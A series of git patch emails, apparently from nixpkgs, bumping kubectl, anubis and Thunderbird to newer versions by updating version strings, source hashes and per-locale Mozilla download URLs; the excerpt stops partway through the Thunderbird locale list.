From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 22 Jun 2025 09:01:29 +0000
Subject: [PATCH 2906/4511] kubectl: 1.33.1 -> 1.33.2

(cherry picked from commit 91e22a6afb596a5525515f1e0e159766b8ce85ea)
---
 pkgs/applications/networking/cluster/kubernetes/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/cluster/kubernetes/default.nix b/pkgs/applications/networking/cluster/kubernetes/default.nix
index 982eb15fcecb..54b88925986b 100644
--- a/pkgs/applications/networking/cluster/kubernetes/default.nix
+++ b/pkgs/applications/networking/cluster/kubernetes/default.nix
@@ -22,13 +22,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "kubernetes";
-  version = "1.33.1";
+  version = "1.33.2";
 
   src = fetchFromGitHub {
     owner = "kubernetes";
     repo = "kubernetes";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-fPKLe1P2jsu6pOTqofFrk1048kPOx/mmXYm7/tBzM84=";
+    hash = "sha256-Ef/tpjM5RGQzO8rZxTad23DuM6VLlV3N54LOu7dtc6A=";
   };
 
   vendorHash = null;

From 451ed55d3a78e9d20b87b91a13c43b6a974dbd55 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 05:14:23 +0000
Subject: [PATCH 2907/4511] kubectl: 1.33.2 -> 1.33.3

(cherry picked from commit 00055d5896e4cad9768d0c0b9cc4d5d4a8ec1f5b)
---
 pkgs/applications/networking/cluster/kubernetes/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/cluster/kubernetes/default.nix b/pkgs/applications/networking/cluster/kubernetes/default.nix
index 54b88925986b..16d9c8b4f46b 100644
--- a/pkgs/applications/networking/cluster/kubernetes/default.nix
+++ b/pkgs/applications/networking/cluster/kubernetes/default.nix
@@ -22,13 +22,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "kubernetes";
-  version = "1.33.2";
+  version = "1.33.3";
 
   src = fetchFromGitHub {
     owner = "kubernetes";
     repo = "kubernetes";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Ef/tpjM5RGQzO8rZxTad23DuM6VLlV3N54LOu7dtc6A=";
+    hash = "sha256-UZdrfQEEx0RRe4Bb4EAWcjgCCLq4CJL06HIriYuk1Io=";
   };
 
   vendorHash = null;

From f5f939ce44a07ec8dfe14fa5c8ee9c69ad503bd6 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 23 Jul 2025 17:38:19 +0000
Subject: [PATCH 2908/4511] anubis: 1.21.0 -> 1.21.3

Changelog: https://github.com/TecharoHQ/anubis/releases/tag/v1.21.3
Diff: https://github.com/TecharoHQ/anubis/compare/v1.21.0...v1.21.3
(cherry picked from commit 8857732f5a458874cdd95e591774fd5633b0c31b)
---
 pkgs/by-name/an/anubis/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index fd38fd2c91eb..668fc4973a9e 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -13,13 +13,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "anubis";
-  version = "1.21.0";
+  version = "1.21.3";
 
   src = fetchFromGitHub {
     owner = "TecharoHQ";
     repo = "anubis";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-FKX8E32unAKK8e/Nlrj24FU1amc7AJw28hzmZDbIcIc=";
+    hash = "sha256-CMFd9che+D1ot1Iqk0VcJmna0xIqHlRIvNnzYo+q+RU=";
   };
 
   vendorHash = "sha256-cWkC3Bqut5h3hHh5tPIPeHMnkwoqKMnG1x40uCtUIwI=";
@@ -34,7 +34,7 @@ buildGoModule (finalAttrs: {
     pname = "anubis-xess";
     inherit (finalAttrs) version src;
 
-    npmDepsHash = "sha256-jvYmAbbMRy8fK2Y0YC0UJGhNRLzk1kjzGvRbqhWFzS4=";
+    npmDepsHash = "sha256-NJMUXGXcaY8l1WIbvCn+aIknVuagR7X8gRkme9xpYQ0=";
 
     buildPhase = ''
       runHook preBuild

From b59b26cfec4f02b768a3b35177110ea91d686c55 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 24 Jul 2025 17:59:39 +0000
Subject: [PATCH 2909/4511] thunderbird-latest-bin-unwrapped: 140.0.1 -> 141.0

(cherry picked from commit 4d857aa1116f10c8b9c11f84b3882a3fcb1f6025)
---
 .../thunderbird-bin/release_sources.nix       | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
index 0a4140e23b51..2f90284ae933 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "140.0.1";
+  version = "141.0";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/af/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/af/thunderbird-141.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "952e3aad3cc172c8c01a5120a2e8bdf15c6b0f174cda5f56466aaefdc48a94fb";
+      sha256 = "12a07f29d6e64e18caeef13b7c218863239ea90bde62325811af7699b85fe196";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ar/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ar/thunderbird-141.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "d4bbea7858497b00b05574cca967b00f3f47ca7062689f711bebe456d7868fd0";
+      sha256 = "f3074263a05af16b520b90d858247d9be1c97881641291b7077908d4c76e01a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ast/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ast/thunderbird-141.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "faca5a0cce090c368cb3f3646bb704fec9b408fb7d26ff899f087e40b9f1efe2";
+      sha256 = "8942892fee9178594f84ddadaade8425594ad147d433e2d7e6a766ad37eec733";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/be/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/be/thunderbird-141.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "ca4bdc465ef18d4d86f19584691d927285a2cea22f1cc6cba88f1cfb859be7d1";
+      sha256 = "b175ded9c9c7e3dfc1ab15848cd4d07fd59bd795c22ba3825d9e27905085a3cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/bg/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/bg/thunderbird-141.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "c6a7f48b8d959ca128033070983a9ca4323078322359b7a77d074bc515c9a422";
+      sha256 = "b05a569ddce271e89844a39affd9f4d4a53f6e4bd2fc6b5eca414564d3a6563e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/br/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/br/thunderbird-141.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "984f065dffac70c374329bcb8d8e20e9ddf9f3723a9f8b7963b18c92d5d4e38e";
+      sha256 = "6276bf47b6bf727c7e863954d6ae02b034f8d1a6a1c283dde581c61d6d69585f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ca/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ca/thunderbird-141.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "c9a6292e530892376743b2c31f8d3869c04d8ddbb5966a85f6cb99ff89c3bc9b";
+      sha256 = "eaa3ee617f1335ef235ed8d0e257900a4f1fb31b89a1b0febd54cd79a0548f71";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/cak/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/cak/thunderbird-141.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "0647a8dcae9f8025716932fd960d96d2e33b0de8800d0486c52f7b3c480f2b25";
+      sha256 = "bc7a232696d1b4d933a936262d54dc156a938ead5c5e3ecaa472223fc97dea1c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/cs/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/cs/thunderbird-141.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "8c3a2bc33f6248da8724f997e2a485e9a187fa6394038860bb142bfa47795b03";
+      sha256 = "2500647f557ea8f53b015349c69b483042a3c14d913c873a74b7cdd7252d6ab2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/cy/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/cy/thunderbird-141.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "4ce3efb07555774750adefc7fc95d809dc2504be91fa99323c226db1106f6c9d";
+      sha256 = "606bcdae313e03f073e3223ddbd36ebfada6577f99b218f24e03a0dd04c0cb4f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/da/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/da/thunderbird-141.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "2742f7acc5b0c65f45d739e7272a19b048ff10cfec45cfd6dec9e6057b189c5e";
+      sha256 = "a4b9a1561bea4216d3a54f944dfdcb66ac9e89fc7fc4035d6c0da0a65326e26a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/de/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/de/thunderbird-141.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "e7e69418559b09086816d893025e96fc2484496669a9dafac0c0117dcbdb59f3";
+      sha256 = "8472f7039cb6de2ac5728f0f41059820df6fc4a0fb5627f09137e148839bc449";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/dsb/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/dsb/thunderbird-141.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "aa0a1c0dccf57e90c79c8e41f3ae8baf90a71f94701058d30938b8e353d7b0e3";
+      sha256 = "75e83573db6977179b728f1b0ed90bb41f8e719addef349395c3091682e16964";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/el/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/el/thunderbird-141.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "3cd186329d341baac79e4eae776a8ec4c6b0c426642881f94c7c238bc4baefb1";
+      sha256 = "bbbd69e89f6049d0c0f0afb7ddf66ce50237fdeb724f2efb47e1c455eb5f502d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/en-CA/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/en-CA/thunderbird-141.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "c1df00bb53f2c626a6bbb3020145e03a3baf5984488c47589c66fd25f299024b";
+      sha256 = "6fd325aa2528917e5c62a843dbae4af1d8afc0bf548e0590922f29c04fddfd6d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/en-GB/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/en-GB/thunderbird-141.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "269c8cbea689363fdbe7fe25f7cb0e3829ca360dd9b130d80a805db7924449f2";
+      sha256 = "3ce3f1ebf25552679da4d043afb7c3d4a2f17fdb5d6e17303b3d1c4aa29ffe13";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/en-US/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/en-US/thunderbird-141.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "97ba814fb587b8ec4f83a5b513e6d2147d9d9c3716f2e7207e60ba8c2cdb3d37";
+      sha256 = "137a75c034b8bda7cbe546555f384e19eba82e51ed531577d5e5d178718568f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/es-AR/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/es-AR/thunderbird-141.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "6d7abb1a06a8c4b47cdc32fd6d3a74556ec1d85a892a2de9d6d466bb98189904";
+      sha256 = "7656269ab07ed2495565087a9c743b919b84139dda833e098d96d6d68f826a30";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/es-ES/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/es-ES/thunderbird-141.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "da6a8415c1b7525790698008bbe025894f6a28719fb65e4ad4e141f625e80914";
+      sha256 = "460f8649656a9c37f4b89f0c85b44d1fe0236fdeef1b0bff69b2a36cd998fa36";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/es-MX/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/es-MX/thunderbird-141.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "962bf2a184f36a0ee69f934086d4d3d1f0ceac9145fbcf6ea05daa2bacb89ecf";
+      sha256 = "e5187639f7df8e74419de3d2e5eae2c8b9646e16f91c9b666518952d023f07ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/et/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/et/thunderbird-141.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "fdc07fa22f0fdfc59ef15c190b9d7c46a3b6406ccfec4d6faededc3e9fe6ca92";
+      sha256 = "c9c1ac8e2ef246c93407b2cb80022ec95e69d66581a2efbbafb5cad09b987abb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/eu/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/eu/thunderbird-141.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "157541494884dabc5925f888fb6fc0119654a1c2771cf04172494d76307cd327";
+      sha256 = "59f896bdb415984c597fcef8ef75e38ab4b31584058f0efce0023a1aad9c95b6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/fi/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/fi/thunderbird-141.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "865a71fc3c4748992ff9bfe90566f510c069c2ffbc0f98e828dd5461b02fd273";
+      sha256 = "014fe15360acb7ccac8d1247eba6a2f731022715e13fb34aac547c4217107772";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/fr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/fr/thunderbird-141.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "23e66ee77565e99a8c7b8a8b8291472390589a238acd7db4a05afa242b640448";
+      sha256 = "57ea66a729e1336547c4351505aade3fac0f187f0f2a0a7a0a74de50743873a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/fy-NL/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/fy-NL/thunderbird-141.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "5d7506774259f173e9b35f9d85e99ded1cbb9cce7a0e7aa5d6a984d5ed7bf90c";
+      sha256 = "0767b0c838f914d9a6ee56fe7c1eed13ad199f859103332f5f021e1ac1ef4764";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ga-IE/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ga-IE/thunderbird-141.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "3e804d5be1b2184a6433154d6abd7bbc0a927db11f7bd4f653d6a18c25ce8a51";
+      sha256 = "bd893cc9a078b28a096055a86774106af486562c579be05fd4e4ae2ceb00938a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/gd/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/gd/thunderbird-141.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "53c7db7a07260a3383a70dcf3adeac7d7e5d7d167bcb5957097e7aabf317364d";
+      sha256 = "a57ec4d39156edbd29a88271be0ade2f8875154fb6aadc333a3c949844b8167f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/gl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/gl/thunderbird-141.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "8b57bddbe4d4f562d43a9b2da8c35919e7bda48702d1ec63b93010ae349287b9";
+      sha256 = "5599fc5e63aa2de6acd3f8aed8f6f838be013d9f23d9a7df0e1be2e919f060f7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/he/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/he/thunderbird-141.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "cbee3d6d47e1b16e81667ff337511a8c71af1b504746401d1854a27d3118515e";
+      sha256 = "197368781e1a15d577c74bf0a5360348461175b5d6f46ff3343a29d5b22c2f70";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hr/thunderbird-141.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "5d767246ff4dc53882782f37c127af3b940b91c0ca072fbd7e3f42a581a72c34";
+      sha256 = "6aa86889764f4a18ed7090efa63b77ff2dfbd684783578421f94dc70dd58798e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hsb/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hsb/thunderbird-141.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "1308739d5a755968a980c3ba86a83562f2f8d9ea2bf50d98c473f78e6048c08d";
+      sha256 = "7db7bef60c0e41bfddca6373de34016b666bb481ccaad3e9449e6ad64f7c9288";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hu/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hu/thunderbird-141.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "578af517d24f687782f492eb882e5a742ef720bc14b088c7220eb645b171eea7";
+      sha256 = "200221f75f7aa6646bbdcdbc25c73c49b8345abaf57fab856d901e8f0df12e4f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hy-AM/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hy-AM/thunderbird-141.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "8770da6afa259858bfa61da294103e676a814a67db010b916b90bacfe2907d56";
+      sha256 = "7acfab29e0e99507bc6197fcb3d02a04280724d55e2f17f704a0c931127bd348";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/id/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/id/thunderbird-141.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "7e905f63428eedef4003be7009d169052d3eaf971a82e7bc69017b18062b49a5";
+      sha256 = "0d4bf93498ad5d775431da619ffbd7d9371e6cc9aa18f821911f7dfcf5ba395c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/is/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/is/thunderbird-141.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "19595fb8ab803bd2539baefac671395d84af25fd51781fe648d5810e5bb6faa9";
+      sha256 = "c5fde012142d8b5213b93c151e26af4185d84b7595638b4b645faff6fc9f704e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/it/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/it/thunderbird-141.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "1d5f76ea7bea62415af4f7b854033dee73a09304238f51716bc27c3dafd729e5";
+      sha256 = "9ad8b05d4c7401943b875c48303742901d4c6567ee4e2f896630072a97e19d9d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ja/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ja/thunderbird-141.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "9676d3e5bf62440e663dd8358a3ffa298226ac61074d03e90a1c42960ef4cb55";
+      sha256 = "90dbe368a05cd2d61dea9582b3caee3bd0906c5d21c15aeb7b379fc9fe5a65c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ka/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ka/thunderbird-141.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "9dba085a2fcbdd3c77d9f26a0d1bec370122ef8d50de913d01e9350415f1c6cd";
+      sha256 = "0d7241cf64fe4af358a33080ed219324f108447841cc3908b78501b437949caa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/kab/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/kab/thunderbird-141.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "e41cbe7a6e1887609401fddbfc6fd220ec33bd130d1e53aa26fa456733aba42e";
+      sha256 = "3cb1d38b267b5be1ed9fd5484cda1fbdfaa5079f9777aec75bcfe489453b6068";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/kk/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/kk/thunderbird-141.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "4c87a5d0e262752868af363b2c939cfc1e62571cc48116da7138b6e67aac769d";
+      sha256 = "e12a3941f96e0e9c03a24d07d0a6ea021340630d911e12d36c977f86c50fd7a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ko/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ko/thunderbird-141.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "1a01a8187d3925c99482e90d1277781a9b7a51cd3c37c464fa113a72dd3c3c5d";
+      sha256 = "8a1acf214638d6a7c45a15fc5cd4fddd43295367272e41421db66a8f2cddafc6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/lt/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/lt/thunderbird-141.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "21215cf2d13c86495f831a5e42e74b61d863d7b78edd9877f7906d0cc8c8a127";
+      sha256 = "4571815d4706e4078fc7e282ff599aae167cbb73f9b66955d10d140c02d54767";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/lv/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/lv/thunderbird-141.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "bf820774e8e3f97c18922b58586d71f5609090839cb487b43c1daba6e850680e";
+      sha256 = "3231a11ff7eefad38900246c6b479d1b3951f4964645cfbfe792ccaf15149fba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ms/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ms/thunderbird-141.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "bc960650ce5f4bf1bacc00622f913de1cd79df4e87a8866d3de6d9ace93abeda";
+      sha256 = "5c4a036a3ba062d56a3f35d6f8b0cc1faca10f6417625a14e5b6904997137057";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/nb-NO/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/nb-NO/thunderbird-141.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "b1b4163aaebf2f5484b3b4a364bb37331583f912e3e70610e0847af2bf534fe9";
+      sha256 = "9c9eea4f434f627fe034b547dfc668ebfba7021bdbcb52466d2e7a2034200011";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/nl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/nl/thunderbird-141.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "c178870ddc80c44d86618fa827efbc97de5307f6c3454e3274c0f168d4c06573";
+      sha256 = "168506024b490696695e34d1de583529d7de6c5583dc2fbd651a996456c5bdbf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/nn-NO/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/nn-NO/thunderbird-141.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "72a71402900b3534f40dee8decbdb801ff18d23e55a22d9c66ff7eba81426fe2";
+      sha256 = "4981de7c3d0d846fa87a679ab252759793e83de7cf373f9acbfcc9fa5834dd9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pa-IN/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pa-IN/thunderbird-141.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
